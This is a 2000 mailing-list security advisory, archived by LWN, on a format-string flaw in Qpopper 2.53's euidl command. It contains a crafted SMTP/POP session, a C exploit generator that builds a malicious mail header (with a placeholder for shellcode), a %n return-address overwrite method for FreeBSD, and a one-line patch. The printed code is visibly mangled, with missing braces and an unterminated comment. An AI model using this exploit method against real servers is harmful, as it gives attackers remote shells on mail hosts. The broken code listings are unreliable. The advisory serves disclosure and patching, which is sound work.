[LWN Logo]

Date:         Tue, 23 May 2000 09:43:33 -800
From: Prizm <prizm@RESENTMENT.ORG>
Subject:      Qpopper 2.53 remote problem,

Content-Length: 286
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset=iso-8859-1

I have attached to this message the advisory with full details +
exploit on this problem.

Content-Length: 6089
Content-Disposition: attachment;filename=b0f5-Qpopper.txt
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain

 	  b u f f e r 0 v e r f l 0 w   s e c u r i t y   a d v i s o r y   # 5

 		    Advisory Name: Remote shell via Qpopper2.53
		             Date: 5/23/00
	 	      Application: Qpopper 2.53 for *NIX
	                   Vendor: Qualcomm Incorporated
		              WWW: www.qualcomm.com
		         Severity: can give users remote
                                   shell with gid=mail.
		           Author: prizm (prizm@resentment.org)
			 Homepage: b0f.freebsd.lublin.pl

 * Overview
	Qpopper is the most widely-used server for the POP3 protocol. This allows users to
	access their mail using any POP3 client.  Qpopper supports the latest standards,
        and includes a large number of optional features.  Qpopper is normally used with
        standard UNIX mail transfer and delivery agents such as sendmail or smail.

 * The Problem
	Yes, Qpop, again and again...
	There is a bug in version 2.53 of Qpop that can give you a remote
	shell with gid=mail. Problem is with euidl command which uses user input as
	format string for pop_msg() function.
	Lets examine following code from Qpop 2.53 source:
	--> pop_uidl.c, around line 150:
	        sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
	        if (nl = index(buffer, NEWLINE)) *nl = 0;
	        sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
	 !      return (pop_msg (p,POP_SUCCESS, buffer));
	Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat,
	const char *format,...), and here we have user-input as format string. Lame.
	Ok, back to problem, imagine following smtp session:

	     MAIL FROM:<hakker@evil.org>
	     200 Ok
	     RCPT TO:<luser@host.withqpop253.com>
	     200 Ok
	     200 Okey, okey. end with "."
	     Subject: still trust qpop?=/
	     From: %p%p%p%p%p%p%p

	     200 BLABLABLA Ok, message accepted for delivery.

	  Then, luser connects with his pop account and runs euidl command there:
		+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
		USER luser
		+OK Password required for luser.
		PASS secret
		+OK luser has 3 messages (1644 octets).
		euidl 3
		+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

	  Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p
	  where implemented as arguments for vsnprintf() command.

 * Exploiting
         Is this possible? Yeah, sure!
	 But there are some limits. Qpopper2.53 from FreeBSD ports with patches is
	 much more difficult to exploit than one from linux. It is because freebsd
	 patches change vsprintf() call in pop_msg.c to vsnprintf() call, and there is
	 big difference between them. Qpopper with FreeBSD's patches IS exploitable.

/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
 *  Sample exploit for buffer overflow in Qpopper 2.53.
 *  This little proggie generates a mail u need to send.
 *  Standard disclaimer applies.
 *  By the way, exploit is broken =) You need to insert shellcode.
 *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
 *  greets to USSRLabs and ADM
 *  check http://b0f.freebsd.lublin.pl/ for news.
#include <stdio.h>
#include <string.h>

char shellcode[]="imnothing";
int main(int argc, char *argv[])
	int i;
	unsigned long ra=0;
	if(argc!=2) {
		fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
	sscanf(argv[1], "%x", &ra);
	if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
		fprintf(stderr,"Bad shellcode\n");
	fprintf(stderr,"return address: 0x%.8x\n", ra);
	printf("X-UIDL: ");
	for(i=0; i < sizeof(shellcode);i++)
		printf("%c", shellcode[i]);
	printf("From: %s", "%.1000d");
	for(i=0; i < 50; i++)
		printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
	printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
	return 0;

	Exploiting QPOP from FreeBSD ports

	It is NOT easy, because vsprintf() is replaced with vsnprintf() so we can't
	overflow stack, but we still have control over it (remeber %n?).
	Im not going to post exploit for this because it is really generic, but I
	will explain theory on exploiting qpop with vsNprintf.
	There is an little trick with %n YOu should know. Try to understand why
	folowing code succeeds and prints out 2000, not sizeof(b):
#include <stdio.h>
int main(void){
        int s=1; char b[1024]; int q;
        snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
        return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
	On my box with FreeBSD 3.4 i have:
	2000, overflowed? NO

	Hah, first time i expected to see 1024, but YOu know that all is
	unpredictable . So, this little thing will help us a lot.
	Exploiting it:
	a) Find where in stack is located user input.
	b) Compose a message with filed X-UIDL and From:
		From: <SHELLCODE>%.RETURNd%n@test
	"pp"			is for padding (two or three chars)
	"RETA"		is return address pointing to SHELLCODE
	"SHELLCODE"		guess
	"RETURN"		return address

	c) Exploit? If you need an exploit that will work on FreeBSD, code it yourself.

 * Vulnerable Versions

 * Fix
	You can download Qpopper 3.1 at http://www.eudora.com/freeware/qpop.html#CURRENT which
        is not vulnerable to this problem.

	Or you can manually patch it by doing the following:

	  At lines 150 and 62 from pop_msg.c, replace:
	- return (pop_msg (p,POP_SUCCESS, buffer));
	+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));


					 copyright  1999-2000
				    prizm, buffer0verfl0w security